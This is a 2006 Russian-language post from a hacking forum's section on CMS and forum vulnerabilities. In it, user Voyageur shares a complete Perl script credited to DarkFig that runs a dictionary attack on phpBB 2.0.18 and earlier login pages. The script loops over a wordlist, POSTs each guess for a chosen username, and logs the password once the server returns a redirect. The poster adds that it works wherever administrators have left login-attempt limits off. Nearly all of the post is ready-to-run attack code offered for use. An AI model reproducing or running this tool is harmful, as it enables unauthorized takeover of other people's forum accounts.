Форумы Эксплойт для брута phpBB

Discussion in 'Уязвимости CMS/форумов' started by Voyageur, 2 Jun 2006.

  1. Voyageur

    Voyageur Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    67
    Likes Received:
    10
    Reputations:
    1
    Всем привет!
    Нашел в сети эксплоит, который брутит форумы phpBB. Тут в поиске я ничего по этому поводу на Perl не нашел, поэтому подумал, что будет полезно. :)
    Единственное, что он довольно тормозной и жрет траффик...
    Code:
    #!/usr/bin/perl
    ############################################
    # Credits:                        Weakness and Xploit by DarkFig
    # Affected products:              All PhpBB versions <= 2.0.18
    # Type:                          Dictionnary attack
    # Solutions:                      None official , but many solutions are possible ;)
    # Note:                          If a line of the dictionnary file contain no data => "End of the password file"
    # Ps:                            Public after 1week lol
    # Demo:                          http://rapidshare.de/files/9574771/p...login.rar.html
    # Team:                          Hackademie [] Acid_Root []  BoD []
    # PS:                              Volcom joyeux anniversaire , bon oki je suis en retard...voila ton cadeau ^^
    ############################################
    use IO::Socket;
    #--------------Utilisation--------------#
    if(@ARGV != 6){
    print "
    +---------------------------------------------------------------------------------+
    +------------PhpBB <= 2.0.18 Passwd Dictionnary Attack [] by DarkFig--------------+
    +---------------------------------------------------------------------------------+
    + Usage: phpbb2018btr.pl <host> <path> <port> <pass_file> <username> <logfile>    +
    +---------------------------------------------------------------------------------+
    + <host>        => The host where PhpBB is installed        |  [Ex: site.com]    +
    + <path>        => Path of the PhpBB board                  |  [Ex: /forum/]    +
    + <port>        => PhpBB board port                        |  [Default is 80]  +
    + <pass_file>  => File containing words (dictionnary file) |  [Ex: dico.txt]    +
    + <username>    => Username you want to bruteforce          |  [Ex: MasterLamer] +
    + <file_result> => File you want to log activity            |  [Ex: results.txt] +
    +---------------------------------------------------------------------------------+
    ";exit();}
    #--------------Data--------------#
    $host      = $ARGV[0];
    $path      = $ARGV[1];
    $full      = "$host"."$path";
    $port      = $ARGV[2];
    $pass_file  = $ARGV[3];
    $username  = $ARGV[4];
    $fileresult = $ARGV[5];
    $OK        = 0;
    $referer    = "http://"."$host"."$path"."login.php?redirect=";
    $postit    = "$path"."login.php";
    #--------------Hello world-----------------#
    print "
    +---------------------------------------------------------+
    + PhpBB <= 2.0.18 Passwd Dictionnary Attack -- by DarkFig +
    +---------------------------------------------------------+
          [+] Username            | $username
          [+] Dictionnary file    | $pass_file
          [+] Attack log          | $fileresult
    +---------------------------------------------------------+";
    #--------------Password file--------------#
    open FILE, "<$pass_file" || die("\n[-] Can't open the file...\n");
    chomp(@passdico = <FILE>);
    $nligne = "0";
    while ($OK ne 1) {
    $passwordz  = "$passdico[$nligne]";
    $request    = "username="."$username"."&password="."$passwordz"."&redirect=&login=Connexion";
    $length    = length $request;
    if ($passwordz eq ""){print "\n      [-] End of the password file, no result sorry !\n";close($send);close(FILE);exit();}
    #--------------Sending data--------------#
    $send = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || die "\n[-] Connection failed...";
    print $send "POST $postit HTTP/1.1\n";
    print $send "Host: $host\n";
    print $send "Content-Type: application/x-www-form-urlencoded\n";
    print $send "Content-Length: $length\n\n";
    print $send "$request\n";
    read $send, $answer, 15;
    close($send);
    #-------------Success---------------#
    if ($answer =~ /HTTP\/(.*?) 302/) {
    $OK = 1;
    print "
          [-] Trying the password "."$passwordz
          [+] User:    $username
          [+] Password: $passwordz
    +---------------------------------------------------------+\n";
    open results, ">$fileresult";
    print results "
    +---------------------------------------------------------+
    + PhpBB <= 2.0.18 Passwd Dictionnary Attack -- by DarkFig +
    +---------------------------------------------------------+
        [+] PhpBB board              | $full
     [+] Board's port              | $port
     [+] Username                  | $username
     [+] Dictionnary file          | $pass_file
        [+] Number of test            | $nligne
        [+] Password found            | $passwordz
    +---------------------------------------------------------+\n";
    close(FILE);close(results);exit();}
    #-------------Failed-----------------#
    if ($OK == 0) {print "\n      [-] Trying the password "."$passwordz";$nligne++;}}
    # www.ruax.up.md 2005
    
    
    Только работает он, если не установлено кол-во попыток входа в систему, но некоторые админы забывают или считают не нужным включать эту функцию... :)
     
    #1 Voyageur, 2 Jun 2006
    Last edited: 2 Jun 2006